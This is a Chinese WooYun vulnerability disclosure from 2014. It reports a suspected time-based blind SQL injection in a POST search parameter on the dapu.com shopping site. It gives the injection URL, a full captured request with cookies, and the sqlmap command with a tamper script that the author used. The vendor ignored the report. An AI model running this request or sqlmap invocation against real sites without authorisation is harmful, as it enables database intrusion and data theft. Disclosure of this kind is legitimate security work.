当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-089263

漏洞标题：大扑网某个页面的参数post注入

相关厂商：大朴网

漏洞作者： 路人甲

提交时间：2014-12-30 09:50

修复时间：2015-01-04 09:52

公开时间：2015-01-04 09:52

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：8

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-12-30： 细节已通知厂商并且等待厂商处理中
2015-01-04： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

看到有大牛提交了大扑网的，试着点开了，就导出看看，我等最低最低等级的菜鸟发现不了什么漏洞，然后尝试用burpsuite抓包，发现有个参数可以post注入，但是time-based blind跑得太慢了，有时候还会掉，不知道是我插入的方式不对还是这个并不是漏洞，提交出来给大牛看看吧，你们应该比我懂
参考漏洞：http://www.wooyun.org/bugs/wooyun-2010-076448
主要出现在一个参数post注入。

详细说明：

1、注入点：

http://www.dapu.com/gallery-index-.html?scontent=n|%E6%AF%9B%E5%B7%BE


2、尝试用burpsuite抓包

POST /search-result.html HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Referer: http://www.dapu.com/gallery-index-.html?scontent=n|%E6%AF%9B%E5%B7%BE
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: www.dapu.com
Content-Length: 29
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: s=e20f161b67bf8ccdd2df84e2ecedfb1f; S[CART_COUNT]=0; S[CART_NUMBER]=0; S[CART_TOTAL_PRICE]=%EF%BF%A50.00; 
IESESSION=alive; bdshare_firstime=1419781016816; 
vary=3db63a20e6d889fe5040dfd7fd6156c8bab028b8d008e164d4ce1e61a5c1b09e; 
__pztm_ses.56413625e523ad184b2fdae224731e4d=*; 
_qzja=1.2130889738.1419781193742.1419781193742.1419781193743.1419781217728.1419781501903.0.0.0.3.1; 
_qzjb=1.1419781193742.3.0.0.0; _qzjc=1; _qzjto=3.1.0; _adwc=204087702; Hm_lpvt_009c0ec444a18738fe1100ac9df77d2d=1419781501; 
wt3_sid=%3B823007577903280; NTKF_PAGE_MANAGE=%7B%22m%22%3A%5B%7B%2268883%22%3A818723%7D%2C%7B
%222242%22%3A818725%7D%5D%2C%22t%22%3A%2223%3A51%3A12%22%7D; __utmc=161756585; _jzqc=1; 
NTKF_CACHE_DATA=%7B%22uid%22%3A%22kf_9818_ISME9754_guest64C7D321-1651-45%22%2C%22tid%22%3A
%221419781185101016%22%2C%22fid%22%3A%221419781179602484%22%2C%22d%22%3A%7B%7D%7D; pgv_si=s8618067968; 
_adwb=204087702; _adwp=204087702.6950577672.1419781141.1419781141.1419781141.1; _adwr=204087702%230; 
Hm_lvt_009c0ec444a18738fe1100ac9df77d2d=1419781166; wt3_eid=
%3B823007577903280%7C2141978116800285442%232141978150200776095; 
__utma=161756585.452315764.1419781178.1419781178.1419781178.1; __utmb=161756585.3.10.1419781178; 
__utmz=161756585.1419781178.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); 
_jzqa=1.1379893240462001400.1419781179.1419781179.1419781179.1; _jzqb=1.6.10.1419781179.1; _jzqckmp=1; __pztm_lp=null|
http://www.dapu.com/gallery-index-.html?scontent=n|%E6%AF%9B%E5%B7%BE; 
__pztm_cv=E6P4222M5DO79QHN.1419781179383.1.1419781501971.1419781179383.1419781179383; pgv_pvi=9245910016; 
NTKF_T2D_CLIENTID=guest64C7D321-1651-4551-3B60-918D9E19E680; 
bfd_session_id=bfd_s=161756585.40043025.1419781197240&bfd_g=8110c81f66bcaf0f000056770005cb05545b9721; 
tmc=3.161756585.87464127.1419781197251.1419781214693.1419781502676; 
tma=161756585.87464127.1419781197251.1419781197251.1419781197251.1; tmd=3.161756585.87464127.1419781197251.
name%5B%5D=%E6%AF%9B%E5%B7%BE


3、请上神器sqlmap

sqlmap.py -r "E:\post.txt" --threads 5 --tamper=between


-r.jpg


--current-db-2.jpg

漏洞证明：

上面说到速度太慢，time-based blind方式，下面给的就是在测试过程中的慢动作了，还请大牛指导，这个算不算漏洞，还是插入的方式不对，或者本身就不存在，只是偶然得知？如果能利用，如何才能更好的利用，也让我等菜鸟好好学习学习！~~~

--current-db.jpg


至于剩下的就不继续了，实在太慢了，有时候还会掉，偶这里的网速也不怎么样，测试过程中也会出现断掉的情况，大牛们如果有方法利用就继续把，到时发出来给菜鸟们看看！~~~

修复方案：

你们比我懂得多，懂得多多了！~~~

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-01-04 09:52

厂商回复：

最新状态：

暂无